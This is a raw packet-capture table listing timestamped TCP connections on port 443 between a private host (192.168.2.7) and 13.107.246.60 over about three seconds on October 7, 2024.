Oct 7, 2024 06:44:30.991103888 CEST	443	49823	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:30.991635084 CEST	49823	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:30.991663933 CEST	443	49823	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:30.992130995 CEST	49823	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:30.992136002 CEST	443	49823	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:31.018322945 CEST	443	49822	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:31.018821955 CEST	49822	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:31.018836975 CEST	443	49822	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:31.019268036 CEST	49822	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:31.019273043 CEST	443	49822	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:31.020776033 CEST	443	49824	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:31.021147013 CEST	49824	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:31.021166086 CEST	443	49824	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:31.021646023 CEST	49824	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:31.021651983 CEST	443	49824	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:31.023890972 CEST	443	49825	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:31.024239063 CEST	49825	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:31.024245977 CEST	443	49825	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:31.025135040 CEST	49825	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:31.025140047 CEST	443	49825	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:31.096096039 CEST	443	49823	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:31.096188068 CEST	443	49823	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:31.096246004 CEST	443	49823	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:31.096256018 CEST	49823	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:31.096306086 CEST	49823	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:31.096555948 CEST	49823	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:31.096576929 CEST	443	49823	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:31.096586943 CEST	49823	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:31.096592903 CEST	443	49823	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:31.099411964 CEST	49829	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:31.099446058 CEST	443	49829	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:31.099512100 CEST	49829	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:31.099720955 CEST	49829	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:31.099735975 CEST	443	49829	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:31.121102095 CEST	443	49822	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:31.121260881 CEST	443	49822	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:31.121319056 CEST	49822	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:31.121403933 CEST	49822	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:31.121412992 CEST	443	49822	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:31.121436119 CEST	49822	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:31.121443033 CEST	443	49822	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:31.123364925 CEST	443	49824	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:31.123594999 CEST	443	49824	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:31.123642921 CEST	49824	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:31.123873949 CEST	49824	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:31.123888016 CEST	443	49824	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:31.123897076 CEST	49824	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:31.123902082 CEST	443	49824	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:31.124156952 CEST	443	49825	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:31.124300003 CEST	443	49825	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:31.124344110 CEST	49825	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:31.125035048 CEST	49825	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:31.125042915 CEST	443	49825	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:31.125053883 CEST	49825	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:31.125057936 CEST	443	49825	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:31.125063896 CEST	49830	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:31.125087023 CEST	443	49830	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:31.125138044 CEST	49830	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:31.126460075 CEST	49831	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:31.126527071 CEST	443	49831	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:31.126600981 CEST	49830	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:31.126617908 CEST	443	49830	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:31.126655102 CEST	49831	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:31.126998901 CEST	49831	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:31.127022028 CEST	443	49831	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:31.127595901 CEST	49832	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:31.127623081 CEST	443	49832	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:31.127684116 CEST	49832	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:31.127830982 CEST	49832	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:31.127840996 CEST	443	49832	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:31.553059101 CEST	443	49827	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:31.553566933 CEST	49827	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:31.553613901 CEST	443	49827	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:31.555246115 CEST	49827	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:31.555252075 CEST	443	49827	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:31.655262947 CEST	443	49827	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:31.655364990 CEST	443	49827	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:31.655586958 CEST	49827	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:31.655586958 CEST	49827	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:31.655621052 CEST	49827	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:31.655636072 CEST	443	49827	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:31.658539057 CEST	49833	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:31.658601999 CEST	443	49833	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:31.658819914 CEST	49833	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:31.658819914 CEST	49833	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:31.658862114 CEST	443	49833	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:31.760282993 CEST	443	49830	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:31.761976004 CEST	443	49829	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:31.762372017 CEST	49830	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:31.762381077 CEST	443	49830	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:31.762602091 CEST	49829	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:31.762602091 CEST	49830	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:31.762620926 CEST	443	49829	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:31.762634993 CEST	443	49830	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:31.762950897 CEST	49829	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:31.762957096 CEST	443	49829	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:31.766726017 CEST	443	49832	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:31.767605066 CEST	49832	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:31.767605066 CEST	49832	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:31.767625093 CEST	443	49832	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:31.767644882 CEST	443	49832	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:31.787656069 CEST	443	49831	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:31.788690090 CEST	49831	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:31.788690090 CEST	49831	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:31.788755894 CEST	443	49831	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:31.788799047 CEST	443	49831	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:31.859890938 CEST	443	49830	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:31.860061884 CEST	443	49830	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:31.860213041 CEST	49830	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:31.860213041 CEST	49830	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:31.860235929 CEST	49830	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:31.860255003 CEST	443	49830	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:31.863049984 CEST	49834	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:31.863157034 CEST	443	49834	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:31.863372087 CEST	49834	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:31.863466024 CEST	49834	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:31.863485098 CEST	443	49834	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:31.866795063 CEST	443	49829	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:31.866800070 CEST	443	49832	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:31.866997004 CEST	443	49832	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:31.867295980 CEST	443	49829	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:31.867340088 CEST	443	49829	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:31.867361069 CEST	49832	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:31.867404938 CEST	49829	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:31.867429018 CEST	49832	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:31.867441893 CEST	443	49832	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:31.867461920 CEST	49829	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:31.867469072 CEST	49832	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:31.867474079 CEST	443	49832	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:31.868427992 CEST	49829	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:31.868427992 CEST	49829	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:31.868443012 CEST	443	49829	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:31.868453979 CEST	443	49829	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:31.869689941 CEST	49835	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:31.869709015 CEST	443	49835	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:31.870543003 CEST	49835	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:31.870543003 CEST	49835	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:31.870563030 CEST	443	49835	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:31.870672941 CEST	49836	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:31.870702028 CEST	443	49836	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:31.870768070 CEST	49836	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:31.870981932 CEST	49836	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:31.870994091 CEST	443	49836	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:31.890117884 CEST	443	49831	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:31.890145063 CEST	443	49831	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:31.890192032 CEST	443	49831	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:31.890480042 CEST	49831	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:31.890728951 CEST	49831	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:31.890728951 CEST	49831	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:31.890769005 CEST	443	49831	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:31.890791893 CEST	443	49831	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:31.893338919 CEST	49837	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:31.893385887 CEST	443	49837	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:31.894151926 CEST	49837	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:31.894151926 CEST	49837	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:31.894180059 CEST	443	49837	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:32.311729908 CEST	443	49833	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:32.312159061 CEST	49833	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:32.312228918 CEST	443	49833	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:32.312664032 CEST	49833	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:32.312678099 CEST	443	49833	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:32.410872936 CEST	443	49833	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:32.411139965 CEST	443	49833	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:32.411232948 CEST	49833	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:32.411298037 CEST	49833	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:32.411298037 CEST	49833	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:32.411344051 CEST	443	49833	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:32.411360025 CEST	443	49833	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:32.414974928 CEST	49839	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:32.415009975 CEST	443	49839	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:32.415079117 CEST	49839	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:32.415208101 CEST	49839	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:32.415216923 CEST	443	49839	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:32.509797096 CEST	443	49835	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:32.510364056 CEST	49835	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:32.510380983 CEST	443	49835	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:32.510869026 CEST	49835	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:32.510874987 CEST	443	49835	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:32.520133972 CEST	443	49836	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:32.520463943 CEST	49836	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:32.520484924 CEST	443	49836	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:32.520874977 CEST	49836	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:32.520879984 CEST	443	49836	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:32.528271914 CEST	443	49834	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:32.528630972 CEST	49834	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:32.528664112 CEST	443	49834	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:32.529036045 CEST	49834	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:32.529047012 CEST	443	49834	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:32.561280012 CEST	443	49837	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:32.561630964 CEST	49837	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:32.561646938 CEST	443	49837	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:32.562033892 CEST	49837	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:32.562040091 CEST	443	49837	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:32.608571053 CEST	443	49835	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:32.608917952 CEST	443	49835	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:32.608966112 CEST	49835	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:32.608977079 CEST	443	49835	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:32.609024048 CEST	443	49835	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:32.609070063 CEST	49835	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:32.609086990 CEST	443	49835	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:32.609097958 CEST	49835	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:32.609102964 CEST	443	49835	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:32.613442898 CEST	49840	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:32.613468885 CEST	443	49840	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:32.613540888 CEST	49840	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:32.613687992 CEST	49840	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:32.613702059 CEST	443	49840	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:32.624110937 CEST	443	49836	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:32.624260902 CEST	443	49836	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:32.624314070 CEST	49836	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:32.624366045 CEST	49836	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:32.624380112 CEST	443	49836	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:32.624389887 CEST	49836	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:32.624394894 CEST	443	49836	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:32.627307892 CEST	49841	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:32.627439976 CEST	443	49841	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:32.627527952 CEST	49841	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:32.627706051 CEST	49841	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:32.627742052 CEST	443	49841	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:32.629511118 CEST	443	49834	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:32.629692078 CEST	443	49834	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:32.629754066 CEST	49834	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:32.629796028 CEST	49834	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:32.629815102 CEST	443	49834	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:32.629826069 CEST	49834	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:32.629833937 CEST	443	49834	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:32.632472038 CEST	49842	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:32.632503033 CEST	443	49842	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:32.632601023 CEST	49842	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:32.632715940 CEST	49842	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:32.632741928 CEST	443	49842	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:32.664552927 CEST	443	49837	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:32.664699078 CEST	443	49837	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:32.664832115 CEST	49837	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:32.664885044 CEST	49837	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:32.664911032 CEST	443	49837	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:32.664921999 CEST	49837	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:32.664927959 CEST	443	49837	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:32.667366982 CEST	49843	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:32.667390108 CEST	443	49843	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:32.667481899 CEST	49843	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:32.667625904 CEST	49843	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:32.667637110 CEST	443	49843	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:33.075442076 CEST	443	49839	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:33.076195002 CEST	49839	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:33.076220036 CEST	443	49839	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:33.076673985 CEST	49839	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:33.076678991 CEST	443	49839	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:33.182261944 CEST	443	49839	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:33.182434082 CEST	443	49839	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:33.182585001 CEST	49839	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:33.182636976 CEST	49839	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:33.182636976 CEST	49839	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:33.182661057 CEST	443	49839	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:33.182673931 CEST	443	49839	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:33.185345888 CEST	49845	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:33.185400009 CEST	443	49845	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:33.185463905 CEST	49845	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:33.185601950 CEST	49845	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:33.185617924 CEST	443	49845	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:33.202718019 CEST	443	49842	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:33.203216076 CEST	49842	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:33.203243971 CEST	443	49842	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:33.203665018 CEST	49842	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:33.203670025 CEST	443	49842	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:33.253849983 CEST	443	49840	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:33.254388094 CEST	49840	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:33.254411936 CEST	443	49840	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:33.254854918 CEST	49840	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:33.254861116 CEST	443	49840	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:33.265981913 CEST	443	49841	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:33.267381907 CEST	49841	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:33.267460108 CEST	443	49841	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:33.267838001 CEST	49841	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:33.267846107 CEST	443	49841	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:33.302881002 CEST	443	49842	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:33.302938938 CEST	443	49842	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:33.303010941 CEST	49842	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:33.303209066 CEST	49842	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:33.303224087 CEST	443	49842	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:33.303235054 CEST	49842	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:33.303241968 CEST	443	49842	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:33.304750919 CEST	443	49843	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:33.305113077 CEST	49843	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:33.305123091 CEST	443	49843	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:33.305530071 CEST	49843	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:33.305532932 CEST	443	49843	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:33.306123972 CEST	49846	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:33.306162119 CEST	443	49846	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:33.306294918 CEST	49846	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:33.306452036 CEST	49846	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:33.306461096 CEST	443	49846	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:33.353023052 CEST	443	49840	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:33.353075981 CEST	443	49840	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:33.353122950 CEST	443	49840	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:33.353179932 CEST	49840	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:33.353321075 CEST	49840	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:33.353334904 CEST	443	49840	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:33.353344917 CEST	49840	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:33.353349924 CEST	443	49840	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:33.355901957 CEST	49847	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:33.355925083 CEST	443	49847	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:33.355998993 CEST	49847	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:33.356144905 CEST	49847	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:33.356153965 CEST	443	49847	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:33.366419077 CEST	443	49841	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:33.366806030 CEST	443	49841	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:33.366857052 CEST	49841	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:33.366880894 CEST	49841	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:33.366888046 CEST	443	49841	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:33.366897106 CEST	49841	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:33.366900921 CEST	443	49841	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:33.368887901 CEST	49848	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:33.368918896 CEST	443	49848	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:33.368973970 CEST	49848	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:33.369079113 CEST	49848	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:33.369087934 CEST	443	49848	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:33.402966976 CEST	443	49843	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:33.403260946 CEST	443	49843	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:33.404145002 CEST	49843	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:33.404211044 CEST	49843	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:33.404218912 CEST	443	49843	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:33.404230118 CEST	49843	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:33.404234886 CEST	443	49843	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:33.406430960 CEST	49849	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:33.406471014 CEST	443	49849	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:33.406646013 CEST	49849	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:33.406788111 CEST	49849	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:33.406801939 CEST	443	49849	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:33.821280956 CEST	443	49845	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:33.822033882 CEST	49845	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:33.822055101 CEST	443	49845	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:33.823779106 CEST	49845	443	192.168.2.7	13.107.246.60
